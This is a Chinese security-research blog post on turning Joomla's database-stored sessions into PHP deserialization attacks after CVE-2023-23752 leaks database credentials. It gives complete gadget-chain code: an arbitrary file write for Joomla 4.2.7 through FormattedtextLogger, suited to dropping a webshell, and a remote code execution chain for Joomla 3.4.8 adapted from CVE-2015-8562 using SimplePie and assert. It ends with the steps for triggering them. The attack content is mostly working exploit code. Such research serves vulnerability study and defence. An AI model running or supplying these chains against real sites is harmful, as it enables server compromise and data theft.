文章首发于先知社区:https://xz.aliyun.com/t/14661

前言

去年,joomla爆出信息泄漏漏洞CVE-2023-23752,可泄漏数据库账号密码,连上数据库,修改完管理员账号密码,最后发现后台登录页面访问不到,还能怎么利用呢?

xss后台?其实,认真翻一下数据库就能找到更直接的答案

熟悉的php序列化数据,那是否可以修改该数据,然后反序列化呢?

joomla的session反序列化

joomla3.4.6之前,session默认直接存储在数据库中,修改即可反序列化,而从3.4.7开始,存储的格式又稍微有些变化,官方给session序列化的内容加了一层base64编码。

这部分可查看libraries/joomla/session/session.php,3.4.7的代码中获取session数据base64解码后直接unserialize(,并没有限制数据的类型

妥妥的可以反序列化,现在问题变成了寻找反序列化利用链

joomla4任意文件写入

以4.2.7的代码为例,全局搜索__destruct(,一共就6处,很快找到libraries/src/Log/Logger/FormattedtextLogger.php貌似有写文件的操作

跟进initFile()函数

该函数根据$this->path创建了目录,并将$this->generateFileHeader()的结果写入了$this->path文件中,跟进generateFileHeader(

在写入的内容中,$this->format可控,可用于写入webshell代码,只需保证$this->options['text_file_no_php']非空即可

该任意文件写入的反序列化链很短,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace Joomla\CMS\Log\Logger {
class FormattedtextLogger {
protected $defer = true;
protected $deferredEntries = ['1'];
protected $path = '/var/www/html/tmp/test.php';

protected $options = array('text_file_no_php' => ['1']);
protected $format = '<?php phpinfo();?>';

}
}

namespace {
$obj = new Joomla\CMS\Log\Logger\FormattedtextLogger();
$str = base64_encode(serialize($obj));
echo "joomla|".serialize($str);
}

joomla3任意函数执行rce

joomla 3.4.5出过一个经典的反序列化漏洞CVE-2015-8562,反序列化链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}

class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}

$a = new JDatabaseDriverMysqli();
echo serialize($a);

利用链基于此修改即可,但也有些许变化以及一些注意的点

首先,查看libraries/joomla/database/driver/mysqli.php代码,从3.4.6开始,JDatabaseDriverMysqli类的disconnect()函数中,不再单纯的只是判断if($this->connection){

构造时采用$this->connection=new mysqli('','','','');即可

其次,注意到在该漏洞中最终执行的php代码是phpinfo();JFactory::getConfig();exit;,如果少了JFactory::getConfig()漏洞便无法成功,为什么呢?

问题原因在于SimplePie这个类的init()函数,最终会将$this->feed_url解析成uri,少了关键的:就过不了判断,所以这里修改利用时需要注意!


最后,改造出rce的反序列化利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class JSimplepieFactory {}
class SimplePie_Sanitize {}
class SimplePie_Registry {}

class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new SimplePie_Sanitize();
$this->registry = new SimplePie_Registry();
$this->cache = true;
}
}

class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = new mysqli('','','','');
$this->disconnectHandlers = [
[$x, "init"],
];
}
}

$a = new JDatabaseDriverMysqli();
$str = base64_encode(serialize($a));
echo "joomla|".serialize($str);

利用

访问joomla首页,返回cookie拿到session_id,修改xxx_session表中该session_id对应的data,带着cookie再次访问首页触发反序列化漏洞

joomla4.2.7:

joomla3.4.8:

参考

https://xz.aliyun.com/t/12175
https://www.leavesongs.com/PENETRATION-code-execute-vulnerability.html